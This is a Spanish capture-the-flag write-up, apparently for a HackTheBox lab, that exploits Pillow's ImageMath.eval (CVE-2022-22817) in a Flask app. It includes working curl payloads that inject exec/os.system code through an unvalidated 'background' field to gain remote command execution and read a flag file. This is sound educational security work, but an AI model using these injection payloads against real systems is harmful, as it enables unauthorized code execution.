Amidst Us
2 minutos de lectura
Tenemos la siguiente página web, que simula el juego Among Us:
Existe un botón para seleccionar un color con un color picker:
Si analizamos el código fuente, tenemos una aplicación en Flask (en Python). Este es application/blueprints/routes.py
:
from flask import Blueprint, request, render_template, abort
from application.util import make_alpha
web = Blueprint('web', __name__)
api = Blueprint('api', __name__)
@web.route('/')
def index():
return render_template('index.html')
@api.route('/alphafy', methods=['POST'])
def alphafy():
if not request.is_json or 'image' not in request.json:
return abort(400)
return make_alpha(request.json)
La función make_alpha
está definida en application/util.py
:
import os, base64
from PIL import Image, ImageMath
from io import BytesIO
generate = lambda x: os.urandom(x).hex()
def make_alpha(data):
color = data.get('background', [255,255,255])
try:
dec_img = base64.b64decode(data.get('image').encode())
image = Image.open(BytesIO(dec_img)).convert('RGBA')
img_bands = [band.convert('F') for band in image.split()]
alpha = ImageMath.eval(
f'''float(
max(
max(
max(
difference1(red_band, {color[0]}),
difference1(green_band, {color[1]})
),
difference1(blue_band, {color[2]})
),
max(
max(
difference2(red_band, {color[0]}),
difference2(green_band, {color[1]})
),
difference2(blue_band, {color[2]})
)
)
)''',
difference1=lambda source, color: (source - color) / (255.0 - color),
difference2=lambda source, color: (color - source) / color,
red_band=img_bands[0],
green_band=img_bands[1],
blue_band=img_bands[2]
)
new_bands = [
ImageMath.eval(
'convert((image - color) / alpha + color, "L")',
image=img_bands[i],
color=color[i],
alpha=alpha
)
for i in range(3)
]
new_bands.append(ImageMath.eval(
'convert(alpha_band * alpha, "L")',
alpha=alpha,
alpha_band=img_bands[3]
))
new_image = Image.merge('RGBA', new_bands)
background = Image.new('RGB', new_image.size, (0, 0, 0, 0))
background.paste(new_image.convert('RGB'), mask=new_image)
buffer = BytesIO()
new_image.save(buffer, format='PNG')
return {
'image': f'data:image/png;base64,{base64.b64encode(buffer.getvalue()).decode()}'
}, 200
except Exception:
return '', 400
El problema aquí está en el uso de ImageMath.eval
. De hecho, existe CVE-2022-22817. Podemos usar exec
para ejecutar código arbitrario en Python.
La inyección se procude en el parámetro background
, que debería ser un valor RGB, pero no está validado. Por tanto, podemos tratar de importar el módulo os
y ejecutar un comando sleep
(necesitamos tener cuidado con las comillas y las barras oblicuas):
$ time curl 178.62.114.46:32326/api/alphafy -d '{"background":["exec(\"import os; os.system(\\\"sleep 5\\\")\")",255,255],"image":"'$(base64 challenge/application/static/images/arrow.png)'"}' -H 'Content-Type: application/json'
curl: (52) Empty reply from server
5,23 real 0,00 user 0,00 sys
Como la respuesta tarda más de 5 segundos, tenemos ejecución remota de comandos (RCE). Ahora, podemos mover el archivo flag.txt
al directorio static
y leer la flag:
$ curl 178.62.114.46:32326/api/alphafy -d '{"background":["exec(\"import os; os.system(\\\"cat /flag.txt > /app/application/static/flag.txt\\\")\")",255,255],"image":"'$(base64 challenge/application/static/images/arrow.png)'"}' -H 'Content-Type: application/json'
curl: (52) Empty reply from server
$ curl 178.62.114.46:32326/static/flag.txt
HTB{sl33p1ng_my_way_into_RCE}